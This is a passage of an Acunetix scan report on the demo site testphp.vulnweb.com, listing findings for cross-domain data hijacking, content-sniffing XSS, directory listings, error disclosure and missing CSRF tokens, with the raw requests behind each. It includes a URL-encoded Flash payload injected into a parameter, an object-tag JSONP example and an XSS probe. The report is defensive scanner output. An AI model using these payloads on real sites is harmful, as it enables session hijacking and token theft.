Connection: Keep-alive
```

/index.zip

Details

This file was found using the pattern **\${fileName}.zip**.
Original filename: **index.php**

Request headers

```
GET /index.zip HTTP/1.1
Range: bytes=0-99999
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

! Cross domain data hijacking

Severity	Medium
Reported by module	/Scripts/PerScheme/XSS.script

Description

This page is possibly vulnerable to Cross domain data hijacking. If an attacker can create/upload a malicious Flash (SWF) file or control the top part of any page he can perform an attack known as **Cross domain data hijacking**. The Content-Type of the response doesn't matter. If the file is embedded using an <object> tag, it will be executed as a Flash file as long as the content of the file looks like a valid Flash file.

Here is the attack scenario:

- An attacker creates a malicious Flash (SWF) file
- The attacker changes the file extension to JPG
- The attacker uploads the file to victim.com
- The attacker embeds the file on attacker.com using an tag with type "application/x-shockwave-flash"
- The victim visits attacker.com, loads the file as embedded with the tag
- The attacker can now send and receive arbitrary requests to victim.com using the victims session
- The attacker sends a request to victim.com and extracts the CSRF token from the response

There are many ways to perform this attack. The attacker doesn't need to upload a file. The only requirement is that an attacker can control the data on a location of the target domain. One way is to abuse a JSONP API. Usually, the attacker can control the output of a JSONP API endpoint by changing the callback parameter. However, if an attacker uses an entire Flash file as callback, we can use it just like we would use an uploaded file in this attack.

A payload could look like this:

```
<object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E
```

Impact

An attacker can read any secrets (such as CSRF tokens) from the affected domain.

Recommendation

For file uploads: It is recommended to check the file's content to have the correct header and format. If possible, use "Content-Disposition: attachment; filename=Filename.Extension;" header for the files that do not need to be served in the web browser. Isolating the domain of the uploaded files is also a good solution as long as the crossdomain.xml file of the main website does not include the isolated domain.

For other cases: For JSONP abuses or other cases when the attacker control the top part of the page, you need to perform proper input filtering to protect against this type of issues.

References

[Cross Domain Data Hijacking \(https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/\)](https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/)

[The pitfalls of allowing file uploads on your website \(https://labs.detectify.com/2014/05/20/the-lesser-known-pitfalls-of-allowing-file-uploads-on-your-website/\)](https://labs.detectify.com/2014/05/20/the-lesser-known-pitfalls-of-allowing-file-uploads-on-your-website/)

Affected items

/hpp/params.php

Details

URL encoded GET input **p** was set to

```
CWS%07%0E000x%9C=%8D1N%C3%40%10E%DF%AE%8D%BDI%08)%D3%40%1D%A0%A2%05%09%11%89HiP"%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X;!S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2.%F8%01>%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5(%B1%EB%89T%C2Jj)%93"%DBT7%24%9C%8FH% CBD6)%A3%0Bx)%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b_%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A]s%8D%8B0Q%A8L<%9B6%D4L%BD_%A8w%7E%9D[%17%F3/[%DCm{%EF%CB%EF%E6%8D:n-%FB%B3%C3%DD.%E3d1d%EC%C7%3F6%CD0%09.
```

The value is reflected at the top of the page.

Request headers

GET /hpp/params.php?

```
p=CWS%07%0E000x%9C=%8D1N%C3%40%10E%DF%AE%8D%BDI%08)%D3%40%1D%A0%A2%05%09%11%89HiP"%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X;!S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2.%F8%01>%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5(%B1%EB%89T%C2Jj)%93"%DBT7%24%9C%8FH% CBD6)%A3%0Bx)%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b_%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A]s%8D%8B0Q%A8L<%9B6%D4L%BD_%A8w%7E%9D[%17%F3/[%DCm{%EF%CB%EF%E6%8D:n-%FB%B3%C3%DD.%E3d1d%EC%C7%3F6%CD0%09 HTTP/1.1
```

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! Cross site scripting (content-sniffing)

Severity

Medium

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

[Acunetix Cross Site Scripting Attack](https://www.acunetix.com/websitesecurity/cross-site-scripting.htm) (https://www.acunetix.com/websitesecurity/cross-site-scripting.htm)
[VIDEO: How Cross-Site Scripting \(XSS\) Works](https://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/) (https://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/)
[The Cross Site Scripting Faq](https://www.cgisecurity.com/xss-faq.html) (https://www.cgisecurity.com/xss-faq.html)
[XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
[Cross site scripting](https://en.wikipedia.org/wiki/Cross-site_scripting) (https://en.wikipedia.org/wiki/Cross-site_scripting)
[OWASP PHP Top 5](https://www.owasp.org/index.php/PHP_Top_5) (https://www.owasp.org/index.php/PHP_Top_5)
[How To: Prevent Cross-Site Scripting in ASP.NET](https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff649310(v=pandp.10)) (https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff649310(v=pandp.10))

Affected items

/showimage.php

Details

This type of XSS can only be triggered on (and affects) content sniffing browsers.

URL encoded GET input **file** was set to `./pictures/1.jpg"())&%<acx><ScRiPt >R56e(9502)</ScRiPt>`

Request headers


```
GET /showimage.php?file=./pictures/1.jpg'"()%26%25<acx><ScRiPt%20>R56e(9502)
</ScRiPt>&size=160 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

! Directory listing

Severity	Medium
Reported by module	/Scripts/PerFolder/Directory_Listing.script

Description

The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.

Impact

A user can view a list of all files from this directory possibly exposing sensitive information.

Recommendation

You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

References

[Directory Listing and Information Disclosure \(https://www.acunetix.com/blog/web-security-zone/directory-listing-information-disclosure/\)](https://www.acunetix.com/blog/web-security-zone/directory-listing-information-disclosure/)

Affected items

/.idea/
Verified vulnerability
Details
Pattern found:
<input type="text" value="<title>Index of /.idea/</title>"/>
Request headers

GET /.idea/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/.idea/scopes/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /.idea/scopes/</title>
```

Request headers

GET /.idea/scopes/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/_mmServerScripts/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /_mmServerScripts/</title>
```

Request headers

GET /_mmServerScripts/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/admin/

Verified vulnerability

Details

Pattern found:

<title>Index of /admin/</title>

Request headers

GET /admin/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/Connections/

Verified vulnerability

Details

Pattern found:

<title>Index of /Connections/</title>

Request headers

GET /Connections/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/CVS/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /CVS/</title>
```

Request headers

GET /CVS/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/Flash/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /Flash/</title>
```

Request headers

GET /Flash/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/images/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /images/</title>
```

Request headers

GET /images/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/Mod_Rewrite_Shop/images/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /Mod_Rewrite_Shop/images/</title>
```

Request headers

GET /Mod_Rewrite_Shop/images/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/pictures/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /pictures/</title>
```

Request headers

GET /pictures/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/Templates/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /Templates/</title>
```

Request headers

GET /Templates/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/wvstests/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /wvstests/</title>
```

Request headers

GET /wvstests/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/wvstests/pmwiki_2_1_19/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /wvstests/pmwiki_2_1_19/</title>
```

Request headers

GET /wvstests/pmwiki_2_1_19/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/wvstests/pmwiki_2_1_19/scripts/

Verified vulnerability

Details

Pattern found:

```
<title>Index of /wvstests/pmwiki_2_1_19/scripts/</title>
```

Request headers

GET /wvstests/pmwiki_2_1_19/scripts/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Error message on page

Severity	Medium
Reported by module	/Scripts/PerFile/Text_Search_File.script

Description

This alert requires manual confirmation

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

Impact

Error messages may disclose sensitive information which can be used to escalate attacks.

Recommendation

Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

References

[PHP Runtime Configuration](https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors) (https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)
[Improper Error Handling](https://www.owasp.org/index.php/Improper_Error_Handling) (https://www.owasp.org/index.php/Improper_Error_Handling)

Affected items

/AJAX/infoartist.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
```

Request headers

```
GET /AJAX/infoartist.php HTTP/1.1
```

```
Acunetix-Aspect: enabled
```

```
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
```

```
Acunetix-Aspect-Queries: aspectalerts
```

```
Referer: http://testphp.vulnweb.com/
```

```
Cookie: login=test%2Ftest;mycookie=3
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Encoding: gzip,deflate
```

```
Host: testphp.vulnweb.com
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

```
Connection: Keep-alive
```

/AJAX/infocateg.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
```

Request headers

GET /AJAX/infocateg.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/AJAX/infotitle.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
```

Request headers

GET /AJAX/infotitle.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/Connections/DB_Connection.php

Details

Pattern found:

Fatal error

Request headers

GET /Connections/DB_Connection.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/pictures/path-disclosure-unix.html

Details

Pattern found:

Warning: Sablotron error on line 1: XML parser error 3: no element found in /u

Request headers

GET /pictures/path-disclosure-unix.html HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/secured/database_connect.php

Details

Pattern found:

```
<b>Warning</b>: mysql_connect(): Access denied for user 'wouser'@'localhost' (using passw
```

Request headers

GET /secured/database_connect.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Severity	Medium
Reported by module	/Crawler/12-Crawler_Form_NO_CSRF.js

Description

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Impact

An attacker could use CSRF to trick a victim into accessing a website hosted by the attacker, or clicking a URL containing malicious or unauthorized requests.

CSRF is a type of 'confused deputy' attack which leverages the authentication and authorization of the victim when the forged request is being sent to the web server. Therefore, if a CSRF vulnerability could affect highly privileged users such as administrators full application compromise may be possible.

Recommendation

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

References

- [What is Cross Site Reference Forgery \(CSRF\)?](https://www.acunetix.com/websitesecurity/csrf-attacks/) (https://www.acunetix.com/websitesecurity/csrf-attacks/)
- [Cross-Site Request Forgery \(CSRF\) Prevention Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) (https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
- [The Cross-Site Request Forgery \(CSRF/XSRF\) FAQ](https://www.cgisecurity.com/csrf-faq.html) (https://www.cgisecurity.com/csrf-faq.html)
- [Cross-site Request Forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) (https://en.wikipedia.org/wiki/Cross-site_request_forgery)

Affected items

Web Server

Details

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/404.php

Details

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/artists.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /artists.php HTTP/1.1
Referer: http://testphp.vulnweb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Cookie: login=test%2Ftest
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
Connection: Keep-alive

/cart.php

Details

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

POST /cart.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 19

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

addcart=1&price=500

/categories.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /categories.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/comment.php

Details

Form name: fComment
Form action: comment.php
Form method: POST

Form inputs:

- name [text]
- comment [textarea]
- Submit [submit]
- phpaction [hidden]

Request headers

GET /comment.php?aid=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/disclaimer.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /disclaimer.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/guestbook.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/guestbook.php

Details

Form name: faddentry

Form action: <empty>

Form method: POST

Form inputs:

- name [hidden]
- text [textarea]
- submit [submit]

Request headers

GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/hpp/

Details

Form name: <empty>

Form action: params.php?p=valid&pp=12

Form method: GET

Form inputs:

- aaaa [submit]

Request headers

GET /hpp/?pp=12 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/index.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /index.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/listproducts.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /listproducts.php?cat=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/login.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

```
GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-WVS-ID: Acunetix-LSR/65535
Accept:
